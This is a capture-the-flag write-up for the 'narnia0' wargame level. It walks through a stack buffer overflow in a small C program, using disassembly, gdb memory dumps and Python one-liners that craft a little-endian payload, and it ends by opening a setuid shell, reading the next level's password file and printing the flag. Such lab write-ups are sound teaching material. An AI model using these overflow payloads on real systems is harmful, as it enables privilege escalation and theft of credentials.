Writeup

narnia0.c content :

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

objdump main useful part :

804855b:       55                      push   ebp
804855c:       89 e5                   mov    ebp,esp
804855e:       53                      push   ebx
804855f:       83 ec 18                sub    esp,0x18
8048562:       c7 45 f8 41 41 41 41    mov    DWORD PTR [ebp-0x8],0x41414141
8048569:       68 90 86 04 08          push   0x8048690
804856e:       e8 7d fe ff ff          call   80483f0 <puts@plt>
8048573:       83 c4 04                add    esp,0x4
8048576:       68 c3 86 04 08          push   0x80486c3
804857b:       e8 50 fe ff ff          call   80483d0 <printf@plt>
8048580:       83 c4 04                add    esp,0x4
8048583:       8d 45 e4                lea    eax,[ebp-0x1c]

Stack view :

_________________________
|                       |
|   buf[20] (ebp-0x1c)  |
|_______________________|
|                       |
|   val (ebp-0x8)       |
|_______________________|
|                       |
|         ebx           |
|_______________________|
|                       |
|         ebp           |
|_______________________|

The main allocates 24 bytes of memory (0x18). buf is 20 bytes and val is 4 bytes; because buf is in a lower memory address than val we can overwrite the val variable. We can try to write into a file 24 a and then launch the program and read the input from the file :

narnia0@narnia:/narnia$ python -c 'print "a" * 24' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaaaaa
val: 0x61616161
WAY OFF!!!!

Check with gdb that we write into val :

gdb -q ./narnia0
set disassembly-flavor intel
disassemble main

then set a breakpoint after the scanf:

b *0x08048591
r < /tmp/.narnia0

And then print the value in the stack from ebp-0x8 (val) :

(gdb) x/x $ebp-0x8
0xffffd5c0:     0x61616161
(gdb) x/8x $ebp-0x1c
0xffffd5ac:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd5bc:     0x61616161      0x61616161      0x00000000      0x00000000

Now what if we write 20 a + deadbeef into the file ?

narnia0@narnia:/narnia$ python -c 'print "a" * 20 + "deadbeef"' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaadead
val: 0x64616564
WAY OFF!!!!

It’s not good either because is reading the first 4 character from deadbeef and not deadbeef in hexadecimal. Remember that 2 hex digits corresponds to 1 byte. So we can’t simply write into the file /tmp/.narnia0 deadbeef but we need to write in binary (not text) deadbeef. To do so we can use python as follow:

narnia0@narnia:/narnia$ python -c 'print "a" * 20 + "\xde\xad\xbe\xef"' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaa��
val: 0xefbeadde
WAY OFF!!!!

we’re almost there, but is not perfect, why the system reversed the string from deadbeef to efbeadde? Little Endian the last byte (less significant) goes in to the lower address and the most significant into an higher address. let’s see with gdb :

(gdb) b *0x080485b5
Breakpoint 1 at 0x80485b5
(gdb) r < /tmp/.narnia0
Starting program: /narnia/narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaa��
val: 0xefbeadde

Breakpoint 1, 0x080485b5 in main ()
(gdb) x/x $ebp-0x8
0xffffd5c0:     0xefbeadde
(gdb) x/8x $ebp-0x1c
0xffffd5ac:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd5bc:     0x61616161      0xefbeadde      0x00000000      0x00000000

The solution is :

narnia0@narnia:/narnia$ python -c 'print "abcdefghijklmnopqrst" + "\xef\xbe\xad\xde"' > /tmp/.narnia0
narnia0@narnia:/narnia$ ./narnia0 < /tmp/.narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: abcdefghijklmnopqrstᆳ�
val: 0xdeadbeef

But is not opening the shell, why? Because is reading implicitly from stdin, and in the end of /tmp/.narnia0 there must be an EOF which close the shell. If we try to keep the shell open with cat then we can get an interactive shell :

(python -c 'print "A"*20+"\xef\xbe\xad\xde"';cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
cat /etc/narnia_pass/narnia1
efeidiedae

Flag: efeidiedae